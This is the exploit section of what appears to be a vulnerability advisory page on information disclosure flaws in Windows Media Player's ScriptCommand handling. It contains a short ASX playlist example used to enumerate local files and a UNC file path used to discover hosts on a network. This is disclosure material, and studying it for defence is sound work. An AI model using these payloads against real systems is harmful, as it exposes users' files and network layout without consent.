• info
• discussion
• exploit
• solution
• references

Microsoft Windows Media Player ScriptCommand Multiple Information Disclosure Vulnerabilities

The following file-enumeration example is available:

<ASX version="3.0">
<ENTRY>
<REF href="file://c:/test.wma"/>
</ENTRY>
</ASX>


The following command may be used to discover hosts:

file://\\<IP>\c$\a.mp3